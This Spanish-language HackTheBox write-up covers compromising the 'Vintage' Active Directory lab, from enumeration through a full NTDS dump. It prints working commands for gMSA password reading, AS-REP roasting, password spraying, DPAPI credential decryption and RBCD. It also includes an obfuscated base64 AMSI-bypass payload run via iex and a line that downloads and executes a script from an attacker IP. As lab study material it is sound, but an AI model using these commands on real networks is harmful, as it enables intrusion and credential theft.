Skip to content

Vintage ⭐

#htb #windows #ActiveDirectory #gmsa #kerberoasting #bloodyad #bloodhound #dcsync #writeup

P.Rosa / Rosaisbest123
bash
netexec smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb --shares
bash
ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName memberOf
bash
impacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txt
bash
ldapsearch -x -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=computer)" sAMAccountName memberOf
# extended LDIF
#
# LDAPv3
# base <DC=vintage,DC=htb> with scope subtree
# filter: (objectClass=computer)
# requesting: sAMAccountName memberOf 
#

# DC01, Domain Controllers, vintage.htb
dn: CN=DC01,OU=Domain Controllers,DC=vintage,DC=htb
sAMAccountName: DC01$

# gMSA01, Managed Service Accounts, vintage.htb
dn: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
sAMAccountName: gMSA01$

# fs01, Computers, vintage.htb
dn: CN=fs01,CN=Computers,DC=vintage,DC=htb
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=vintage,DC=htb
sAMAccountName: FS01$

# search reference
ref: ldap://ForestDnsZones.vintage.htb/DC=ForestDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://DomainDnsZones.vintage.htb/DC=DomainDnsZones,DC=vintage,DC=htb

# search reference
ref: ldap://vintage.htb/CN=Configuration,DC=vintage,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 7
# numEntries: 3
# numReferences: 3

Se encuentran dos equipos más, aparte del DC01

Para poder usar la autenticación kerberos en condiciones, tenemos que poner el DC en el resolve.conf y sincronizar la hora con el mismo

bash
cat /etc/resolve.conf

nameserver 10.10.11.45
bash
sudo ntpdate dc01.vintage.htb

1. Configurar la IP del DC en resolv.conf

El archivo /etc/resolv.conf en Linux define qué servidores DNS se usarán para resolver nombres de dominio. En un entorno de Active Directory, el Controlador de Dominio (DC) generalmente también actúa como servidor DNS.

🔹 Razones para apuntar al DC como servidor DNS en resolv.conf:

  • Autenticación Kerberos: Kerberos, que es el sistema de autenticación en AD, requiere que el cliente pueda resolver correctamente el dominio y los nombres de los controladores de dominio.
  • Resolución de nombres interna: Un DC con DNS proporciona registros específicos de AD, como SRV, que permiten a los equipos encontrar servicios del dominio (por ejemplo, LDAP y Kerberos).
  • Unión a un dominio: Si una máquina quiere unirse a un dominio, debe poder encontrar el DC y otros recursos mediante DNS.

📌 Ejemplo de /etc/resolv.conf con un DC como DNS:

bash
nameserver 10.10.11.45  # IP del DC
search vintage.htb      # Dominio de AD

Aquí se está usando 10.10.11.45 como servidor DNS porque es el Controlador de Dominio (DC) de vintage.htb.


2. Sincronizar la hora con el DC

En Active Directory, la sincronización de hora es crítica, principalmente por Kerberos.

🔹 Razones para sincronizar la hora con el DC:

  • Kerberos tiene un margen de error de tiempo: Si la diferencia de hora entre el cliente y el DC es mayor a 5 minutos, Kerberos rechaza la autenticación por seguridad.
  • Evita problemas de autenticación: Una desincronización de tiempo puede impedir el inicio de sesión en el dominio o causar errores con ldapsearch, smbclient, etc.
  • Es el comportamiento estándar en Windows: Las estaciones de trabajo y servidores miembros de un dominio AD sincronizan automáticamente su tiempo con el DC principal (PDC Emulator).

📌 Ejemplo de sincronización con ntpdate:

bash
ntpdate 10.10.11.45  # Sincroniza la hora con el DC

📌 Ejemplo con timedatectl (en sistemas modernos con systemd):

bash
timedatectl set-ntp false   # Desactiva la sincronización por defecto
ntpdate 10.10.11.45         # Sincroniza con el DC

bash
bloodhound-python  -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -u 'P.Rosa' -p Rosaisbest123 -c All --zip

📌 ¿Qué es una gMSA?

Una Group Managed Service Account (gMSA) es un tipo de cuenta especial en Active Directory utilizada para ejecutar servicios y aplicaciones de manera segura.

🔹 Características clave:

  1. Contraseñas administradas automáticamente: AD cambia su contraseña periódicamente.
  2. No se pueden iniciar sesión manualmente: Solo servicios específicos pueden usarla.
  3. Acceso controlado: Solo ciertos servidores pueden recuperar su contraseña.
  4. Se usa en entornos seguros: Para ejecutar servicios como IIS, SQL Server, etc.

Como el FS01 es miembro de domain computers y puede leer la gmsa password.

Para poder usar el ordenador de dominio FS01, necesitamos su TGT : Para generarlo :

bash
sudo impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01

export KRB5CCNAME=FS01\$.ccache

La contraseña del equipo fs01 la hemos sacado con fuerza bruta

bash
/kerbrute_linux_amd64 bruteuser -d vintage.htb --dc 10.10.11.45 /usr/share/wordlists/rockyou.txt 'FS01$' -v

Usamos bloody AD para sacar la contraseña de GMSA01, proporcionando autenticación por kerberos

BASH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword


distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339
msDS-ManagedPassword.B64ENCODED: qNZ+qlGD+Cx17DM27SffmeF+2eftJRLCsHfxsLxSzhh2dERzgKmiJzvEHrfEAqstlS64r4Y1OQdu8sdCT6b8+gYXpLDa8xBQIFyshNK7YPrERV3rJVALnhITHE4lKIYoagI4Dr9owAMBGo7ZC4LOoBGk90mk4uuIMHNtylVRWva41F+v2TFCzSNfKnBSVuLhiZ+koEMTCkgP3Z+4Xnnluw6qkD3WPsnsYDlYYizOGPhsUwB1GJyzFHawe4iwfVnbWQdouCgflR27treFO5W0R5RqcRhkwEYLomOobFVUa3kGh1iQNdpaJLPI6Uo4767UM1O/sSaeML8nKVKhwsDolA==

Con la contraseña en formato NTLM , solicitamos y guardamos un TGT para la cuenta GMSA01$

bash
sudo impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:51434c5b357ff89c5f85d994a27f7339

export KRB5CCNAME=GMSA01\$.ccache

Como vemos, GMSA01 puede añadir a usuarios al grupo SERVICE MANAGERS, añadiremos a rosa

bash
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"

Como ahora rosa es miembro del grupo SERVICE MANAGERS, tenemos Generic All sobre 3 cuentas de servicio. Con generic all se puede hacer kerberoast o cambiar la contraseña. Usaremos el siguiente método para hacer kerberoast:

bash
sudo impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/P.Rosa:Rosaisbest123

export KRB5CCNAME=PRosa\$.ccache

Añadir la propiedad DONT_REQ_PREAUTH

bash
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH

Quitamos la propiedad ACCOUNTDISABLE para asegurarnos de que están activas

bash
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_LDAP -f ACCOUNTDISABLE
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

Ahora hacemos kerberoasting:

bash
impacket-GetNPUsers vintage.htb/ -no-pass -usersfile validUsers.txt

y a crackear

Zer0the0ne

Probamos a ver si alguno de los usuarios tienen esa pass

BASH
./kerbrute_linux_amd64 passwordspray /mnt/Windows/Hacking/HackTheBox/Machines/Vintage/content/validUsers.txt Zer0the0ne -d vintage.htb --dc 10.10.11.45

C.Neri
bash
impacket-getTGT  -dc-ip 10.10.11.45 vintage.htb/C.Neri:Zer0the0ne

Nos podemos conectar por evil-winrm

bash
evil-winrm -i 10.10.11.45 -u C.Neri -p "Zer0the0ne" -r vintage.htb -i DC01.vintage.htb -k C.Neri.ccache

C.Neri no tiene privilegios, pero C.Neri_ADM si.

Pasted image 20260721100352

Vamos a obtener una shell interactiva para ver si C.Neri tiene credenciales guardadas.

Necesitamos bypassear AMSI antes

powershell
[SYStEM.TEXT.EncodInG]::UniCOdE.getsTRiNg([sYSteM.COnvERT]::FRoMbasE64stRinG("IwBNAGEAdAB0ACAARwByAGEAZQBiAGUAcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAACgAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYAPQAkAG4AdQBsAGwAOwAkAGIANgBJADQAdAA2AEQAMgBFAFoAPQAiAFMAeQBzAHQAZQBtAC4AJAAoACgAJwBNAOIAbgDhAGcA6AAnACsAJwBtAOoAbgB0ACcAKQAuAE4AbwByAG0AQQBsAEkAWgBFACgAWwBjAEgAQQByAF0AKAA3ADAAKwAxADkALQAxADkAKQArAFsAYwBIAGEAUgBdACgAWwBiAHkAdABlAF0AMAB4ADYAZgApACsAWwBDAGgAQQBSAF0AKAAxADEANAApACsAWwBjAEgAQQByAF0AKAAxADAAOQAqADQAOAAvADQAOAApACsAWwBDAEgAQQBSAF0AKAA2ADgAKgA1ADkALwA1ADkAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAEgAQQByAF0AKABbAEIAeQB0AEUAXQAwAHgANQBjACkAKwBbAGMAaABBAFIAXQAoAFsAYgBZAHQAZQBdADAAeAA3ADAAKQArAFsAYwBoAEEAUgBdACgAMQA4ACsAMQAwADUAKQArAFsAYwBIAEEAUgBdACgANwA3ACsANgAtADYAKQArAFsAYwBoAGEAUgBdACgANQA0ACsANQA2ACkAKwBbAGMASABBAHIAXQAoAFsAYgB5AHQAZQBdADAAeAA3AGQAKQApAC4AJAAoACgAJwDBACcAKwAnAPoAJwArACcAdAAnACsAJwD0ACcAKwAnAG0AJwArACcA4gAnACsAJwB0ACcAKwAnAO4AJwArACcA9AAnACsAJwBuACcAKQAuAE4AbwBSAE0AQQBMAGkAegBlACgAWwBDAEgAYQBSAF0AKAA0ADYAKwAyADQAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYAZgApACsAWwBDAEgAYQBSAF0AKAAyADEAKwA5ADMAKQArAFsAQwBIAGEAUgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZAApACsAWwBDAEgAQQByAF0AKABbAGIAeQB0AGUAXQAwAHgANAA0ACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBIAGEAcgBdACgAOQAyACkAKwBbAGMASABhAHIAXQAoAFsAQgBZAHQAZQBdADAAeAA3ADAAKQArAFsAQwBIAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADcAYgApACsAWwBjAGgAYQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANABkACkAKwBbAEMAaABBAFIAXQAoADEAMQAwACsANwA1AC0ANwA1ACkAKwBbAGMASABBAHIAXQAoADcAMQArADUANAApACkALgAkACgAWwBDAGgAQQBSAF0AKAA2ADUAKQArAFsAQwBIAGEAUgBdACgAOQA4ACsAMQAxACkAKwBbAEMAaABhAHIAXQAoADEAMQA1ACkAKwBbAGMASABBAFIAXQAoADEAMAA1ACsAMwA3AC0AMwA3ACkAKwBbAGMAaABBAFIAXQAoAFsAQgBZAHQAZQBdADAAeAA1ADUAKQArAFsAQwBoAGEAUgBdACgAWwBiAFkAVABFAF0AMAB4ADcANAApACsAWwBDAEgAYQByAF0AKABbAGIAeQBUAEUAXQAwAHgANgA5ACkAKwBbAGMASABhAHIAXQAoADEAMAA4ACsANwAxAC0ANwAxACkAKwBbAGMAaABhAHIAXQAoADMAOAArADcANwApACkAIgA7ACQAeAB5AG8AawBhAG0APQAiACsAKAAnAHIA+gB0AOkAeABzAG0A+QBqAGsAbQBnAOwAbABrAHYAbAAnACsAJwByAGYAegBqAGcAdwD7AGQAcgDuAGgAcQAnACkALgBOAE8AcgBNAGEAbABJAHoARQAoAFsAYwBIAGEAcgBdACgANwAwACsAMgAwAC0AMgAwACkAKwBbAGMAaABhAFIAXQAoADEAMQAxACsAMQAwADUALQAxADAANQApACsAWwBjAGgAYQBSAF0AKAAxADAAMAArADEANAApACsAWwBDAGgAQQByAF0AKAA3ADIAKwAzADcAKQArAFsAQwBoAEEAUgBdACgAWwBiAHkAdABFAF0AMAB4ADQANAApACkAIAAtAHIAZQBwAGwAYQBjAGUAIABbAGMASABhAFIAXQAoADkAMgApACsAWwBjAEgAQQBSAF0AKAAxADEAMgArADcANgAtADcANgApACsAWwBjAGgAYQBSAF0AKAAxADIAMwAqADIAOQAvADIAOQApACsAWwBjAEgAYQBSAF0AKAA3ADcAKgA0ADQALwA0ADQAKQArAFsAQwBoAEEAcgBdACgAWwBiAHkAVABlAF0AMAB4ADYAZQApACsAWwBjAEgAQQBSAF0AKABbAEIAeQB0AGUAXQAwAHgANwBkACkAIgA7AFsAVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBTAGwAZQBlAHAAKAA4ADMAMgApADsAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACQAYgA2AEkANAB0ADYARAAyAEUAWgApAC4ARwBlAHQARgBpAGUAbABkACgAJAAoAFsAYwBoAEEAcgBdACgAOQA3ACkAKwBbAGMASABBAFIAXQAoAFsAQgBZAFQAZQBdADAAeAA2AGQAKQArAFsAQwBIAGEAUgBdACgAWwBCAHkAdABlAF0AMAB4ADcAMwApACsAWwBDAEgAYQBSAF0AKABbAGIAeQB0AGUAXQAwAHgANgA5ACkAKwBbAGMASABBAFIAXQAoADcAMwAqADEANAAvADEANAApACsAWwBjAGgAQQByAF0AKAAxADEAMAArADgANAAtADgANAApACsAWwBjAEgAYQByAF0AKAA4ADMAKwAyADIAKQArAFsAYwBoAEEAUgBdACgAWwBCAFkAVABFAF0AMAB4ADcANAApACsAWwBjAGgAYQBSAF0AKABbAGIAWQB0AGUAXQAwAHgANAA2ACkAKwBbAEMAaABBAHIAXQAoADMAMAArADYANwApACsAWwBDAGgAYQBSAF0AKABbAGIAeQBUAGUAXQAwAHgANgA5ACkAKwBbAGMASABhAFIAXQAoAFsAQgBZAHQARQBdADAAeAA2AGMAKQArAFsAYwBoAGEAcgBdACgAWwBCAFkAVABlAF0AMAB4ADYANQApACsAWwBjAGgAYQBSAF0AKABbAEIAeQBUAEUAXQAwAHgANgA0ACkAKQAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAGYAQgBrAE0AeQBjAEgAMABiAHQAZwBTAHYAQwBZAEQAbgB0AHYALAAkAHQAcgB1AGUAKQA7ACQAYwBoAG0AdQBhAGQAZwBqAGIAPQAiACsAKAAnAHgAagB3ACcAKwAnAHEAcAAnACkALgBOAE8AcgBNAEEAbABpAFoARQAoAFsAQwBoAGEAcgBdACgAWwBiAFkAVABFAF0AMAB4ADQANgApACsAWwBjAEgAYQBSAF0AKAAxADEAMQApACsAWwBDAEgAQQBSAF0AKAAxADEANAAqADUAMwAvADUAMwApACsAWwBDAEgAQQByAF0AKAAxADAAOQArADIAMgAtADIAMgApACsAWwBjAEgAQQByAF0AKAA1ADMAKwAxADUAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBDAGgAQQByAF0AKABbAGIAeQBUAGUAXQAwAHgANQBjACkAKwBbAGMAaABhAHIAXQAoAFsAYgBZAHQARQBdADAAeAA3ADAAKQArAFsAQwBoAGEAUgBdACgAWwBCAHkAVABlAF0AMAB4ADcAYgApACsAWwBDAEgAQQBSAF0AKABbAEIAeQBUAGUAXQAwAHgANABkACkAKwBbAGMAaABhAFIAXQAoAFsAYgB5AHQAZQBdADAAeAA2AGUAKQArAFsAQwBoAGEAcgBdACgAMQAyADUAKwA5ADIALQA5ADIAKQAiADsAWwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADUAMgAxACkA"))|iex

Tratamos de obtener una shell interactiva pero fallamos en el intento

bash
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.3/Invoke-RunasCs.ps1')
powershell
Invoke-RunasCs -Username C.Neri -password Zer0the0ne -Domain vintage.htb -Command powershell.exe -Remote 10.10.15.3 -ForceProfile

Vamos extraer DPAPI de forma manual

Hay dos archivos, descargamos ambos

Pasted image 20260721111604
powershell
$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847"

[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out.txt'

$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b"

[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out2.txt'
bash
base64 -d out.txt > masterkey.blob

impacket-dpapi masterkey -file masterkey.blob -password 'Zer0the0ne' -sid S-1-5-21-4024337825-2033394866-2055507597-1115
Pasted image 20260721112504
powershell
dir C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials -Force

$path = "C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6"

[Convert]::ToBase64String([IO.File]::ReadAllBytes($path)) | Out-File -Encoding ASCII 'C:\Users\C.Neri\Documents\out.txt'

Nos tira un error

bash
base64 -d out.txt > credential.blob

impacket-dpapi credential -file credential.blob -key 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f

Probamos con la otra masterkey

bash
base64 -d out2.txt > masterkey.blob

impacket-dpapi masterkey -file masterkey.blob -password 'Zer0the0ne' -sid S-1-5-21-4024337825-2033394866-2055507597-1115

impacket-dpapi credential -file credential.blob -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Pasted image 20260721112638
bash
impacket-getTGT  -dc-ip 10.129.231.205 vintage.htb/C.Neri_adm:Uncr4ck4bl3P4ssW0rd0312
Pasted image 20260721112812

Tiramos de adscan

bash
start_auth vintage.htb 10.129.231.205 C.Neri_adm Uncr4ck4bl3P4ssW0rd0312
creds save vintage.htb 'FS01$' fs01

Podemos hacer RBCD

Pasted image 20260721113328

Tratamos de impersonar a DC01$ para posteriormente hacer un DCsync

Pasted image 20260721173955

Resulta que DC01$ no tiene permisos para hacer un DCSync

Pasted image 20260721174118

Probamos con Administrator, el problema aquí es que este usuario esta restringido y no puede hacer logins de red.

Con l.bianchi_adm tampoco conseguimos hacer un DCsync

Probamos a hacerlo manualmente con el hash de DC01$

bash
export KRB5CCNAME=adscan_spnjack_cifs_e302livr.ccache

netexec smb dc01.vintage.htb -u 'DC01$' -k --use-kcache --ntds

Y conseguimos dumpear ntds

bash
impacket-getTGT  -dc-ip 10.129.231.205 vintage.htb/L.Bianchi_adm  -hashes ':6b751449807e0d73065b0423b64687f0'
bash
evil-winrm -i 10.129.231.205 -u L.Bianchi_adm  -r vintage.htb -i DC01.vintage.htb -k L.Bianchi_adm.ccache

La flag está en el escritorio de Administrator.

Pasted image 20260721181404

Notas personales de seguridad ofensiva.